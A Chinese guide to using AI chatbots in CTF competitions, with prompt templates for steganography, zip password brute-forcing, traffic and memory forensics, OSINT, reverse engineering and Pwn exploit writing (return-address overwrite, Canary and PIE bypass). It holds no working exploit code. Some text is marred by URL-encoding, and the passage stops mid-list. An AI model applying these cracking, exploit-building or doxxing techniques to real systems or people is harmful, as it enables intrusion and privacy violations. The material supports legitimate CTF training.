文章总结: 本指南指导CTF初学者利用Claude、DeepSeek等AI工具在24小时内快速实战。文档对比了主流AI平台,针对Web、Crypto、Reverse等方向提供了详细的提问模板与策略。内容涵盖工具链配置与MCP自动化,强调利用AI作为外置大脑降低门槛并提升效率,同时提示了数据安全与避免过度依赖的建议。 综合评分: 98 文章分类: CTF,AI安全,实战经验,安全培训
模板2:知道题型但不会做
我确定这是一道【图片隐写/流量分析/压缩包】题:
已知信息:
- 【具体文件信息】
- 【已经尝试的方法】
- 【遇到的问题】
请提供:
1. 这类题的常见套路(至少3种)
2. 每种套路对应的工具和命令
3. 如果能写脚本自动化,请给我代码
图片隐写方向提问技巧
基础分析提问
我拿到一张图片(xxx.png),需要分析是否有隐写:
基础信息:
- 格式:PNG/JPG/BMP
- 大小:【文件大小】
- 分辨率:【宽x高】
已执行命令:
1. file xxx.png → 【结果】
2. strings xxx.png → 【有没有可疑字符串】
3. exiftool xxx.png → 【EXIF信息】
请告诉我:
1. 应该用什么工具进一步分析(StegSolve/zsteg/Stegseek等)
2. 每个工具的具体使用命令
3. PNG/JPG常见的隐写方式有哪些
4. 如果需要写脚本提取数据,请提供代码
LSB隐写提问
我怀疑这张图片用了LSB隐写:
图片信息:【格式/大小】
StegSolve打开后发现:
- Red/Green/Blue plane 0 看起来有噪点
- Data Extract显示【描述看到的内容】
请帮我:
1. 写一个Python脚本提取LSB隐藏的数据
2. 如果提取出来是乱码,可能还需要什么操作
3. 给我详细的使用步骤
盲水印提问
题目提示是"盲水印",我有两张图:
- 原图:original.png
- 水印图:watermark.png
已知信息:
- 两张图尺寸相同
- 肉眼看不出差别
请提供:
1. 盲水印的常见算法(频域/空域)
2. 提取盲水印的工具和命令
3. 如果需要写脚本,请用Python+OpenCV实现
音频隐写方向提问技巧
频谱分析提问
我拿到一个音频文件(audio.wav):
基础信息:
- 格式:WAV/MP3
- 时长:【X秒】
- 题目提示:【如果有】
我用Audacity打开后:
- 波形图看起来【正常/异常】
- 频谱图显示【描述看到的内容】
请告诉我:
1. 音频隐写的常见方式有哪些
2. 除了Audacity还能用什么工具
3. 如果频谱图里有图案/文字,如何提取
4. DTMF音调、摩斯电码等怎么识别和解码
DTMF解码提问
这个音频听起来像电话按键音(DTMF):
音频文件:dtmf.wav
我听到的音调大概是:【描述或说听不出来】
请帮我:
1. 推荐DTMF解码工具(在线/离线都可以)
2. 给我Python脚本自动识别DTMF音调
3. 解码出来的数字可能是什么(ASCII/手机按键编码/其他)
压缩包方向提问技巧
伪加密提问
我有一个加密的ZIP文件:
文件名:flag.zip
现象:
- 解压时提示需要密码
- 但是用【7zip/WinRAR】可以看到文件列表
怀疑是伪加密,请告诉我:
1. 如何判断是否为伪加密(看哪个字节)
2. 如何修改文件去掉伪加密
3. 给我一个Python脚本自动修复伪加密
4. 如果不是伪加密,有什么其他可能(明文攻击/CRC碰撞)
压缩包密码爆破提问
一个真正加密的ZIP,需要爆破密码:
已知信息:
- 题目提示:【可能的密码规则,比如"6位纯数字"】
- 尝试过的密码:【123456/password等常见密码】
请提供:
1. 使用fcrackzip的完整命令
2. 如果是Windows,用什么工具(ARCHPR)
3. 自定义字典的生成方法
4. 如果题目给了密码提示,如何生成针对性字典
CRC32碰撞提问
ZIP里有个很小的文件(几个字节),但是加密了:
文件名:flag.txt
CRC32值:【从压缩包属性里看到的,比如 0x12345678】
文件大小:【比如 4 bytes】
我知道这是CRC32碰撞攻击,请:
1. 解释原理(为什么小文件可以碰撞)
2. 给我Python脚本爆破出文件内容
3. 如果文件稍大(比如10 bytes),还能碰撞吗?
流量分析方向提问技巧
Wireshark基础分析
我拿到一个流量包(traffic.pcapng):
用Wireshark打开后发现:
- 总共【X】个数据包
- 主要协议:HTTP/FTP/TCP/USB/其他
- 【描述观察到的异常,比如"有很多HTTP POST请求"】
题目提示:【如果有】
请帮我:
1. 分析这个流量包可能藏了什么信息
2. 给我Wireshark过滤器语法,筛选关键数据
3. 如何导出流量包中的文件(HTTP文件/FTP传输)
4. 如果需要用tshark或Python脚本分析,请给我代码
HTTP流量分析
流量包里有很多HTTP请求,我想提取其中的数据:
观察到的现象:
- POST请求的数据看起来像Base64
- 某些响应包含可疑字符串
- Cookie/User-Agent字段有异常
请告诉我:
1. Wireshark如何追踪HTTP流(Follow HTTP Stream)
2. 如何批量导出所有HTTP对象
3. 写一个Python脚本解析pcap,提取所有POST数据
4. 如果数据经过编码,如何自动识别和解码
image-20260105153138810
USB键盘流量分析
这个流量包是USB协议,我怀疑是键盘流量:
已知信息:
-%20协议类型:USB
-%20Leftover%20Capture%20Data字段有数据
-%20题目提示:【如果有】
请提供:
1.%20USB键盘流量的数据格式(哪个字节代表按键)
2.%20Wireshark过滤器,只显示键盘数据
3.%20Python脚本,将USB数据还原成按键记录
4.%20键盘映射表(HID%20to%20ASCII)
编码转换方向提问技巧
多层编码识别
我遇到一串看不懂的字符串:
【粘贴字符串】
特征:
-%20长度:【X字符】
-%20字符集:【只有数字/包含字母/有特殊符号】
-%20可能的编码:【如果能猜出来就说,不确定就说"不知道"】
请帮我:
1.%20识别这可能是什么编码(Base64/Hex/Binary/摩斯/其他)
2.%20如果是多层编码,给我解码顺序
3.%20提供一个Python脚本,自动尝试常见编码组合
4.%20如果有部分解码出来但还是乱码,可能还需要什么处理
自动化编码识别脚本请求
我经常遇到各种编码转换的题,请帮我写一个万能脚本:
需求:
1.%20输入一个字符串
2.%20自动尝试常见编码(Base64/Base32/Hex/Binary/URL/HTML实体等)
3.%20递归解码(如果解码结果还是编码格式,继续解)
4.%20输出所有可能的解码结果
5.%20如果某个结果包含"flag"关键字,高亮显示
请用Python实现,代码要详细注释
取证方向提问技巧
内存取证提问
我拿到一个内存镜像文件(memory.raw):
文件大小:【X%20GB】
题目提示:【如果有,比如"找到管理员密码"】
我应该:
1.%20用什么工具分析(Volatility%202/3)
2.%20先执行哪些命令确定操作系统版本和Profile
3.%20常见的内存取证命令有哪些(进程/网络连接/密码/文件)
4.%20如何从内存中提取文件
5.%20给我一个完整的Volatility分析流程
磁盘取证/文件恢复
我有一个磁盘镜像或者部分损坏的文件系统:
文件信息:
-%20格式:【.img%20/%20.vmdk%20/%20.raw】
-%20大小:【X%20MB/GB】
-%20题目提示:【比如"文件被删除了"】
请告诉我:
1.%20用什么工具挂载/分析(Autopsy/FTK/Foremost)
2.%20如何恢复已删除的文件
3.%20如果是Linux/Windows镜像,如何提取特定文件
4.%20Foremost/Scalpel这些工具的使用方法
OSINT(开源情报)方向提问技巧
图片溯源提问
题目给了一张照片,需要找出拍摄地点/时间:
图片信息:
-%20EXIF数据:【有/无GPS信息】
-%20可见内容:【建筑/路牌/文字/其他特征】
-%20题目提示:【如果有】
请告诉我:
1.%20如何通过EXIF提取GPS坐标(工具/命令)
2.%20如果没有GPS,如何通过图片特征搜索地点
3.%20推荐的图片反向搜索工具(Google%20Images/TinEye/Yandex)
4.%20如何根据建筑/路牌等特征缩小范围
社交媒体情报收集
题目要求根据某个线索找到特定信息:
已知信息:
-%20用户名/昵称:【xxx】
-%20平台:【Twitter/GitHub/Instagram】
-%20需要找的信息:【邮箱/真实姓名/位置】
请提供:
1.%20该平台的信息收集技巧
2.%20有什么自动化工具(Sherlock/社工库)
3.%20如何找到用户的其他账号(同名搜索)
4.%20注意事项(不要违反平台规则)
Misc方向工具速查(让AI推荐使用)
提问模板:工具推荐
我需要处理【图片/音频/流量包/内存镜像】:
具体需求:【比如"提取图片LSB隐藏的数据"】
操作系统:【Windows/Linux/Mac】
有没有GUI要求:【需要图形界面/命令行都行】
请推荐:
1.%20最适合的工具(名称+简介)
2.%20工具的安装方法(命令/下载链接)
3.%20针对我的需求,具体的使用命令
4.%20如果这个工具搞不定,还有什么备选方案
常用工具分类(快速询问)
请列出CTF%20Misc方向的常用工具,按以下分类:
1.%20图片隐写:
2.%20音频分析:
3.%20流量分析:
4.%20压缩包处理:
5.%20内存取证:
6.%20文件恢复:
7.%20编码转换:
8.%20十六进制编辑器:
每个工具简要说明功能和典型使用场景
Misc快速解题策略
第一步:文件类型识别(1分钟)
问AI的标准流程:
我拿到文件后,按顺序执行了:
1.%20file%20xxx%20→%20【结果】
2.%20binwalk%20xxx%20→%20【结果】
3.%20strings%20xxx%20|%20head%20-50%20→%20【结果】
4.%20exiftool%20xxx%20→%20【结果】
基于这些信息,请分析:
-%20这是什么类型的题目
-%20下一步应该做什么
-%20推荐使用的工具
第二步:套路尝试(5-10分钟)
针对不同文件类型的快速提问:
图片类:
这是一张【PNG/JPG】图片,请列出5种常见的隐写方式,
以及对应的检测/提取命令,我要快速试一遍
音频类:
这是音频文件,请给我一个快速检查清单:
-%20Audacity频谱图看什么
-%20是否为DTMF/摩斯电码的判断方法
-%20其他音频隐写可能性
快速给我结论,不要长篇大论
压缩包类:
ZIP文件需要密码,快速判断:
1.%20是否伪加密(给我检查命令)
2.%20如果不是,密码位数大概多少(题目有提示吗)
3.%20爆破命令(fcrackzip/ARCHPR)
4.%20如果爆破太慢,有没有CRC碰撞可能
给我最快的解题路径
第三步:卡住了怎么办(超过10分钟没进展)
换个AI重新问:
我在做Misc题,已经尝试了:
【列出所有尝试过的方法】
但是都没找到flag,可能的原因:
1.%20我的方法不对?
2.%20提取出来的数据需要进一步处理?
3.%20题目有多个步骤,我只做了第一步?
请帮我重新分析,给我新的思路
Misc方向的AI协作技巧
技巧1:让AI生成自动化工具箱
请帮我写一个CTF%20Misc工具集脚本(Python):
功能需求:
1.%20自动识别文件类型
2.%20对不同类型执行对应的基础分析
%20 -%20图片%20→%20binwalk%20+%20strings%20+%20exiftool
%20 -%20音频%20→%20提取频谱图
%20 -%20压缩包%20→%20检查伪加密
%20 -%20流量包%20→%20统计协议分布
3.%20输出分析报告和建议的下一步操作
4.%20代码要模块化,方便我后续添加新功能
请给我完整可运行的代码
技巧2:让AI当你的工具手册
我在用【StegSolve/Audacity/Wireshark/Volatility】:
当前界面:【描述你看到的界面/选项】
我想实现:【具体目标】
但是不知道:【哪个菜单/哪个命令】
请一步步告诉我操作流程,就像你在我旁边指导一样
技巧3:多轮对话深入挖掘
第一轮:
"我用StegSolve的Data%20Extract提取了数据,
得到一堆二进制【粘贴前100个字节】"
第二轮(基于AI回答):
"你说这可能是PNG文件头,那我怎么把这些二进制
还原成文件?给我Python脚本"
第三轮:
"还原出来的PNG打开显示损坏,会不会是字节序问题?
或者需要修复文件头?"
持续追问直到解决问题
技巧4:建立个人Misc题库
每做完一道Misc题,问AI:
"我刚做了一道【图片隐写LSB】题目,
请帮我总结:
1.%20这类题的特征(如何快速识别)
2.%20通用解题步骤(形成SOP)
3.%20常用工具和命令(做成备忘录)
4.%20容易踩的坑(避坑指南)
用Markdown格式输出,我要保存到笔记里"
Misc方向避坑指南
❌%20新手常犯的错误
错误1:看到文件就用StegSolve
❌%20盲目使用,大部分时候看不出东西
✅%20先用基础命令判断类型,再针对性选工具
✅%20问AI:"这个文件应该先用什么工具分析?"
错误2:Wireshark打开流量包就懵逼
❌%20看着几千个数据包不知所措
✅%20先问AI:"这个流量包应该看什么协议?用什么过滤器?"
✅%20让AI给你过滤器语法,一步步筛选
错误3:工具报错就放弃
❌%20"命令执行失败,不会做了"
✅%20把报错信息完整复制给AI:"遇到这个错误怎么解决?"
✅%20AI会告诉你缺什么依赖、命令哪里写错了
错误4:提取出数据就以为是flag
❌%20拿到一串字符就提交,结果不对
✅%20问AI:"这串数据看起来像【Base64/Hex】,还需要继续解码吗?"
✅%20Misc题经常有多层处理,要问清楚
✅%20高效技巧
技巧1:构建命令模板库
#%20让AI帮你生成常用命令,保存成脚本
#%20图片分析模板
analyze_image()%20{
%20 %20file "$1"
%20 %20binwalk "$1"
%20 %20strings "$1" |%20grep%20-i%20flag
%20 %20exiftool "$1"
%20 %20#%20...让AI补充更多
}
#%20流量包分析模板
analyze_pcap()%20{
%20 %20tshark%20-r "$1" -q%20-z%20io,phs %20#%20协议统计
%20 %20tshark%20-r "$1" -Y "http" -T%20fields%20-e%20http.request.uri
%20 %20#%20...让AI补充
}
技巧2:截图给AI看
遇到图形化工具(StegSolve/Audacity)的问题:
1.%20截图当前界面
2.%20上传给Claude(支持图片)
3.%20问:"我现在在这个界面,想提取隐藏数据,应该点哪里?"
AI能直接看着图指导你
技巧3:让AI生成解题报告模板
我刚做完一道Misc题,请帮我生成WriteUp模板:
题目信息:
-%20名称:【xxx】
-%20类型:【图片隐写/流量分析】
-%20难度:【简单/中等/困难】
解题过程:
【我描述步骤,AI帮我规范化】
请输出成Markdown,包含:
1.%20题目分析
2.%20解题步骤(带命令/代码)
3.%20知识点总结
4.%20使用的AI对话记录
Misc方向总结
新手上手难度: ⭐⭐⭐⭐%20(题型太杂,但单个题不难)
AI帮助程度: ⭐⭐⭐⭐⭐%20(几乎每个环节都能帮上)
学习路径:
第1天:文件类型识别%20+%20基础工具使用
第2天:图片隐写(LSB/EXIF/盲水印)
第3天:流量分析(Wireshark基础)
第4天:压缩包技巧(伪加密/爆破/CRC)
第5天:编码转换大全
第6-7天:内存取证/磁盘取证入门
AI使用建议:
✅%20文件识别%20→%20AI判断类型
✅%20工具选择%20→%20AI推荐最合适的
✅%20命令不会%20→%20AI给语法和示例
✅%20数据处理%20→%20AI写脚本
✅%20卡住了%20→%20AI提供新思路
✅%20工具报错%20→%20AI排查问题
提分技巧:
1.%20前10分钟:快速识别所有Misc题的类型(问AI)
2.%20优先做工具型的题(图片/压缩包),这些AI能直接给命令
3.%20流量分析题留给队里会Wireshark的人,或者让AI生成过滤器
4.%20遇到没见过的题型,立刻问AI,不要自己瞎试浪费时间
5.%20建立自己的工具箱脚本,AI生成一次,以后反复用
小贴士:
- •%20Misc题往往思路比技术重要,AI帮你开脑洞
- •%20很多Misc题是”想到就会做”,想不到就卡死
- •%20善用AI的”见多识广”,它比你见过更多题型
- •%20binwalk、strings、file%20这三个命令先跑,结果喂给AI分析
- •%20Misc经常需要多个工具组合,让AI帮你串联起来
- •%20Misc大多数题目要根据不同类型的文件用不同类型的软件,如果是在断网环境下没安装软件就直接跪了,如果没有安装环境或者来不及安装的,可以在比赛后期其他题目无望的情况下,使用python暴力的用二进制处理数据。
Reverse方向:让AI成为你的反编译助手
为什么Reverse是CTF最难的方向之一?
❌%20需要看懂汇编/反编译代码(门槛高)
❌%20需要理解程序逻辑(脑力消耗大)
❌%20需要识别加密/混淆算法(经验要求高)
❌%20调试过程繁琐(时间成本高)
✅%20但是!AI可以帮你降低70%的难度
Reverse题目的特点与策略
难度评估:⭐⭐⭐⭐⭐%20(5星最难)
耗时评估:单题30分钟%20-%202小时
AI帮助度:⭐⭐⭐⭐⭐%20(Claude的逆向能力极强)
比赛策略:
✅%20前期:先做Crypto/Web/Misc拿基础分
✅%20中期:如果Reverse题目简单(签到级),可以试试
✅%20后期:冲分阶段,用AI辅助攻坚
⚠️%20心态:解出来是惊喜,解不出来当学习,不要死磕
推荐工具链
静态分析工具
|%20工具%20|%20优势%20|%20缺点%20|%20AI配合度%20| |%20—%20|%20—%20|%20—%20|%20—%20| |%20IDA%20Pro%20|%20反编译最强%20|%20商业软件%20|%20⭐⭐⭐⭐%20配合AI看F5代码%20| |%20Ghidra%20|%20免费、支持Python脚本%20|%20反编译稍弱%20|%20⭐⭐⭐⭐⭐%20AI写脚本提取关键信息%20|
动态调试工具
-%20GDB%20+%20pwndbg/gef(Linux)
-%20x64dbg(Windows)
-%20OllyDbg(老牌Windows调试器)
为什么推荐Ghidra?
✅%20完全免费,功能强大
✅%20支持Python脚本(AI可以直接写脚本帮你)
✅%20跨平台(Windows/Linux/macOS)
✅%20反编译质量不错(接近IDA)
✅%20找内存地址、提取字符串等操作可以自动化
使用场景:
-%20批量提取程序中的字符串/地址
-%20自动识别加密算法的特征
-%20快速定位关键函数
万能提问模板:初次接触二进制
模板1:不知道从哪开始(Claude专用)
我在做CTF%20Reverse题,拿到了一个二进制文件:
【方法1:直接上传文件给Claude】
Claude可以接收二进制文件,直接分析!
【方法2:提供基础信息】
文件名:【xxx.exe%20/%20crackme%20/%20flag_checker】
file命令结果:【ELF%2064-bit%20/%20PE32%20executable】
题目提示:【如果有】
我是Reverse新手,请帮我:
1.%20判断这个程序是做什么的(逆向/爆破/算法还原)
2.%20用什么工具分析(IDA/Ghidra/动态调试)
3.%20给我详细的分析思路和步骤
4.%20如果需要写脚本,请提供完整代码
【Claude的杀手锏:直接上传二进制文件】
-%20Claude内置Linux环境,可以直接运行程序
-%20可以用objdump、strings、ltrace等工具分析
-%20可以反编译后给你解释每一行代码
模板2:反编译代码看不懂
我用【IDA/Ghidra】反编译了一个函数,但看不懂:
【粘贴反编译的C代码,或者汇编代码】
程序功能:【如果能猜出来就说,比如"好像是验证密码"】
题目提示:【如果有】
请帮我:
1.%20逐行解释这段代码在做什么
2.%20识别其中的关键逻辑(比较、加密、解密)
3.%20判断是否有已知算法(Base64/AES/RC4/TEA等)
4.%20如果是自定义算法,帮我还原逻辑
5.%20给我逆向求解的脚本(Python)
模板3:算法识别(高级)
反编译代码里有一段加密/哈希算法,我不认识:
【粘贴关键代码段】
特征:
-%20有大量的异或操作
-%20有魔数【比如%200x9E3779B9%20/%200x5A827999】
-%20有移位操作(<<、>>)
-%20循环次数:【如果明显】
请帮我:
1.%20识别这可能是什么算法(TEA/XTEA/RC4/MD5/SHA/自定义)
2.%20如果是已知算法,给我标准实现对照
3.%20如果是魔改的,告诉我哪里被改了
4.%20提供解密脚本(如果是可逆加密)
Reverse方向的AI协作技巧
技巧1:Claude的逆向神技(强烈推荐)
直接上传二进制文件:
步骤:
1.%20在Claude界面点击上传按钮(📎)
2.%20选择你的二进制文件(.exe/.elf/.so/.dll)
3.%20发送消息:"这是一个CTF%20Reverse题目,帮我分析"
Claude会自动:
-%20识别文件类型和架构
-%20提取字符串和关键信息
-%20使用内置Linux环境运行分析工具
-%20反编译关键函数
-%20给你详细的分析报告
示例提问:
"【上传文件%20crackme】
这是一个密码验证程序,帮我:
1.%20找出验证逻辑
2.%20分析加密算法
3.%20给我正确的密码或keygen脚本"
Claude内置工具链:
Claude可以直接使用:
-%20file,%20strings,%20objdump,%20readelf
-%20ltrace,%20strace(动态追踪)
-%20Python脚本分析
-%20甚至可以编译和运行代码验证你的逆向结果
你不需要自己装环境,直接让Claude干活!
技巧2:Ghidra%20+%20AI%20脚本自动化
场景:需要批量提取/分析程序数据
我在用Ghidra分析程序,需要:
-%20提取所有字符串常量
-%20找到所有比较操作的地址
-%20识别所有函数调用关系
-%20提取加密用的魔数/常量表
请给我一个Ghidra%20Python脚本实现上述功能:
1.%20脚本能在Ghidra的Script%20Manager中直接运行
2.%20输出结果保存到文件
3.%20代码要有详细注释
【AI会生成类似这样的脚本】:
AI生成的Ghidra脚本示例:
#%20Ghidra%20Python脚本:提取所有字符串和比较操作
#%20在Ghidra中:Window%20->%20Script%20Manager%20->%20新建脚本粘贴运行
from ghidra.program.model.block import BasicBlockModel
from ghidra.program.model.listing import CodeUnit
#%201.%20提取所有字符串
print("===%20字符串常量%20===")
strings%20=%20currentProgram.getListing().getDefinedData(True)
for data in strings:
%20 %20if data.hasStringValue():
%20 %20 %20 %20addr%20=%20data.getAddress()
%20 %20 %20 %20value%20=%20data.getValue()
%20 %20 %20 %20print(f"{addr}: {value}")
#%202.%20查找所有CMP指令
print("\n===%20比较指令%20===")
listing%20=%20currentProgram.getListing()
instructions%20=%20listing.getInstructions(True)
for instr in instructions:
%20 %20mnemonic%20=%20instr.getMnemonicString()
%20 %20if "CMP" in mnemonic or "TEST" in mnemonic:
%20 %20 %20 %20addr%20=%20instr.getAddress()
%20 %20 %20 %20print(f"{addr}: {instr}")
#%203.%20查找可疑常量(可能是加密魔数)
print("\n===%20可疑魔数%20===")
known_magic%20=%20[0x9E3779B9, 0x5A827999, 0x67452301] %20#%20TEA,%20SHA-1等的魔数
for instr in listing.getInstructions(True):
%20 %20for i in range(instr.getNumOperands()):
%20 %20 %20 %20op%20=%20instr.getOpObjects(i)
%20 %20 %20 %20for obj in op:
%20 %20 %20 %20 %20 %20if hasattr(obj, 'getValue'):
%20 %20 %20 %20 %20 %20 %20 %20val%20=%20obj.getValue()
%20 %20 %20 %20 %20 %20 %20 %20if val in known_magic:
%20 %20 %20 %20 %20 %20 %20 %20 %20 %20print(f"{instr.getAddress()}:%20发现魔数 {hex(val)}")
技巧3:分步骤逆向(多轮对话)
第一轮:宏观分析
【上传文件或粘贴strings输出】
这个程序的strings输出显示:
-%20"Enter%20password:"
-%20"Correct!"
-%20"Wrong!"
-%20一些看起来像Base64的字符串
请分析:
1.%20程序大概是做什么的
2.%20验证逻辑可能在哪里
3.%20应该重点看哪些函数
第二轮:反编译代码分析
【粘贴main函数或关键函数的反编译代码】
这是main函数的反编译代码,请:
1.%20找出输入验证的位置
2.%20识别调用了哪些加密函数
3.%20判断flag的生成/验证逻辑
第三轮:算法还原
【粘贴加密函数的代码】
这个函数看起来是加密算法,请:
1.%20还原算法逻辑
2.%20判断是否可逆
3.%20如果可逆,写解密脚本
4.%20如果不可逆(哈希),给我爆破策略
第四轮:验证与求解
根据你的分析,我理解的逻辑是:
【用自己的话描述】
请确认我理解是否正确,然后给我最终的求解脚本
技巧4:让AI帮你调试
遇到调试问题:
我在用【GDB/x64dbg/OllyDbg】调试:
当前状态:
-%20断点设置在:【地址/函数名】
-%20寄存器值:【如果相关就粘贴】
-%20栈内容:【如果相关就粘贴】
问题:
-%20【比如"程序在这里崩溃了"/"不知道下一步应该看什么"】
请告诉我:
1.%20可能的原因
2.%20应该检查什么(寄存器/内存/栈)
3.%20GDB/x64dbg的具体命令
常见Reverse题型与AI提问策略
题型1:简单密码验证
特征:
- •%20输入密码,判断对错
- •%20main函数里能直接看到比较逻辑
AI提问:
【上传文件或粘贴反编译代码】
这是一个简单的密码验证程序:
【粘贴main函数代码】
请帮我:
1.%20找出正确的密码(如果是明文比较)
2.%20如果密码被编码/加密,还原原始密码
3.%20给我一键求解的脚本
题型2:算法逆向
特征:
- •%20输入经过复杂变换
- •%20需要还原算法后编写逆算法
AI提问:
这个程序对输入进行了变换:
【粘贴变换算法的代码】
目标输出(已知):【16进制或字符串】
请帮我:
1.%20理解这个算法的每一步
2.%20判断是否可逆
3.%20写出逆算法求解输入
4.%20如果不可逆,提供爆破策略(范围/字符集)
题型3:VM(虚拟机)题目
特征:
- •%20自定义指令集
- •%20需要逆向虚拟机逻辑
AI提问:
这个程序实现了一个虚拟机:
【粘贴VM指令处理的代码】
已知信息:
-%20有【X个】不同的指令(opcode)
-%20有【寄存器/栈/内存】结构
请帮我:
1.%20识别每个opcode的功能(ADD/XOR/PUSH/POP等)
2.%20还原虚拟机的指令集架构
3.%20分析bytecode在做什么
4.%20给我一个VM模拟器(Python实现)
5.%20如果能直接求解flag,给我脚本
题型4:反调试/花指令/混淆
特征:
- •%20IDA/Ghidra反编译失败或代码很乱
- •%20存在反调试检测
AI提问:
这个程序有反调试/混淆保护:
观察到的现象:
-%20IDA反编译显示【垃圾代码/无法识别】
-%20动态调试时【检测到调试器/程序行为异常】
-%20有可疑的【ptrace/IsDebuggerPresent/时间检测】
【粘贴关键代码段】
请帮我:
1.%20识别反调试的类型
2.%20给我bypass的方法(patch/修改调试器)
3.%20如果是花指令,如何过滤掉无用代码
4.%20提供去混淆的思路或脚本
image-20260105153500879
image-20260105153524999
Reverse方向的进阶技巧
技巧1:建立算法特征库
让AI帮你总结:
请帮我整理常见加密算法的识别特征:
格式要求:
-%20算法名称
-%20典型魔数/常量
-%20代码特征(循环/操作)
-%20汇编层面的模式
包含算法:
Base64,%20AES,%20DES,%20RC4,%20TEA,%20XTEA,%20MD5,%20SHA-1/256,%20RSA
输出成表格,我要保存备查
技巧2:让AI写Keygen
场景:逆向出验证逻辑,需要生成正确输入
我已经逆向出密码验证的算法:
【粘贴你理解的逻辑,或者伪代码】
已知:
-%20正确的输出(hash/变换结果):【值】
-%20输入范围/格式:【如果有限制】
请帮我写一个Keygen(Key%20Generator):
1.%20如果算法可逆:直接计算正确输入
2.%20如果不可逆:爆破生成符合条件的输入
3.%20如果有多个解:输出所有可能的flag
语言:Python(可读性强,方便我理解)
技巧3:交叉验证AI的分析
多AI协作策略:
步骤1:用Claude分析二进制文件(上传文件)
步骤2:把Claude的分析结果给千问/元宝复核
步骤3:如果两个AI结论不同,用Gemini做第三方判断
提问模板:
"另一个AI分析了这个程序,认为是【XXX算法】
但我觉得有疑问,你帮我再看看:
【粘贴代码或Claude的分析】
你同意这个结论吗?有没有其他可能?"
技巧4:让AI当你的Reverse导师
学习驱动的提问:
我刚做了一道Reverse题,遇到了【TEA加密】:
【粘贴题目代码】
我现在的理解是:
【用自己的话描述算法】
请帮我:
1.%20确认我的理解是否正确
2.%20TEA算法的完整原理是什么?
3.%20为什么它被广泛用在CTF中?
4.%20下次遇到类似代码,如何快速识别?
5.%20TEA的常见变种有哪些?
我想真正学会,而不是只复制代码
Pwn方向:从崩溃到利用的艺术
为什么Pwn是CTF的终极挑战?
❌%20需要理解内存布局(栈/堆/寄存器)
❌%20需要找到漏洞(溢出/UAF/格式化字符串)
❌%20需要绕过保护(NX/PIE/ASLR/Canary)
❌%20需要构造Exploit(精确控制程序流)
❌%20调试过程极其复杂
✅%20但是!AI可以教你原理、帮你写Exploit
Pwn题目的特点与策略
难度评估:⭐⭐⭐⭐⭐%20(最难,没有之一)
耗时评估:单题1小时%20-%204小时(新手可能更久)
AI帮助度:⭐⭐⭐⭐%20(原理讲解强,但需要你有基础)
比赛策略:
❌%20新手前期别碰Pwn,性价比极低
✅%20先把其他方向的简单题做完
✅%20如果队里有Pwn大佬,让他主攻
✅%20比赛末尾有时间,跟着AI学习Pwn思路
⚠️%20心态:Pwn题是学习经验的,不要指望拿分
Pwn必备工具链
调试工具
GDB%20+%20增强插件(必备):
-%20pwndbg:最流行,功能全面
-%20gef:界面友好,适合新手
-%20peda:老牌,功能强大
安装方法:
问AI:"如何在Ubuntu上安装pwndbg?给我完整步骤"
利用工具
pwntools(Python库):
-%20编写Exploit脚本的标准工具
-%20自动化漏洞利用
-%20与远程服务器交互
安装:
pip%20install%20pwntools%20--break-system-packages
学习:
问AI:"pwntools的基础用法,给我一个模板脚本"
辅助工具
-%20checksec:检查二进制保护机制
-%20ROPgadget/ropper:查找ROP%20gadgets
-%20one_gadget:查找libc中的one_gadget
-%20vmmap:查看内存布局
万能提问模板:Pwn入门
模板1:不知道漏洞在哪
我在做Pwn题,拿到一个二进制文件:
【方法1:上传给Claude直接分析】
【方法2:提供信息】
文件名:【pwn1/vuln/chall】
checksec结果:【粘贴checksec输出】
file结果:【ELF%2064-bit/32-bit】
【粘贴源代码或反编译代码】
我是Pwn新手,请帮我:
1.%20分析程序在做什么
2.%20找出可能的漏洞点(栈溢出/堆溢出/格式化字符串/UAF等)
3.%20判断有哪些保护机制(Canary/NX/PIE/RELRO)
4.%20给我利用思路(需要泄露什么/如何绕过保护)
5.%20提供Exploit模板(pwntools)
模板2:知道漏洞但不会利用
我发现了【栈溢出/堆溢出/格式化字符串】漏洞:
漏洞位置:【粘贴有漏洞的代码】
程序保护:
-%20Canary:%20【Enabled/Disabled】
-%20NX:%20【Enabled/Disabled】
-%20PIE:%20【Enabled/Disabled】
-%20RELRO:%20【Full/Partial/No】
checksec完整输出:【粘贴】
已知信息:
-%20有system函数/可以泄露libc
-%20栈空间大小:【如果知道】
-%20输入长度限制:【如果有】
请帮我:
1.%20分析利用难度(哪些保护需要绕过)
2.%20给出详细的利用思路(步骤拆解)
3.%20写完整的Exploit脚本(pwntools,带详细注释)
4.%20如果需要调试,告诉我关键断点设在哪
模板3:调试遇到问题
我在用GDB+pwndbg调试Pwn题:
当前情况:
-%20漏洞类型:【栈溢出/UAF/...】
-%20我的payload:【粘贴你构造的payload】
-%20程序行为:【崩溃/返回异常/没反应】
GDB输出:
【粘贴寄存器状态、栈内容、或崩溃信息】
问题:
-%20【比如"为什么我的ROP链没执行"/"地址怎么算错了"】
请帮我:
1.%20分析为什么exploit失败
2.%20检查payload是否正确
3.%20给我调试的具体命令(GDB)
4.%20修正后的payload
Pwn方向的AI协作技巧
技巧1:让AI当你的Pwn老师
原理学习模板:
我在学习Pwn,请教几个问题:
1.%20【栈溢出/堆溢出/格式化字符串/UAF】的原理是什么?
%20 用简单的例子解释,不要太学术化
2.%20为什么可以通过这个漏洞控制程序执行流?
%20 从内存布局的角度讲讲
3.%20常见的利用方法有哪些?
%20 【ret2libc/ROP/堆风水/...】
4.%20保护机制如何阻止利用?
%20 【Canary/NX/PIE/ASLR】各自的原理
5.%20如何绕过这些保护?
%20 每种保护给我一个典型的绕过案例
请用Markdown格式输出,我要保存成学习笔记
技巧2:Exploit脚本调试
逐步构建Exploit:
第一步:基础框架
请帮我写一个pwntools脚本模板:
目标:连接到【本地/远程】服务
需要功能:
-%20发送payload
-%20接收输出
-%20调试模式开关(本地可以attach%20GDB)
只要框架,先不写具体利用代码
第二步:添加利用逻辑
基于刚才的模板,现在添加利用代码:
漏洞类型:【栈溢出】
目标:【覆盖返回地址为system("/bin/sh")】
已知地址:
-%20system:%200x12345678
-%20"/bin/sh":%200xabcdef00
请补充payload构造部分
第三步:处理异常
运行脚本后出现:
【粘贴错误信息或异常输出】
请帮我:
1.%20分析原因
2.%20修改代码
3.%20解释为什么要这样改
image-20260105153818273
技巧3:保护绕过策略
Canary绕过:
程序有Canary保护:
【粘贴相关代码】
我知道有以下绕过方式:
-%20泄露Canary值
-%20通过格式化字符串漏洞读取
-%20爆破(如果fork机制)
请分析这道题应该用哪种方法,并给我脚本
PIE绕过:
程序开启了PIE,所有地址都是相对的:
保护信息:【checksec输出】
如何泄露基址?
1.%20分析程序有没有信息泄露点
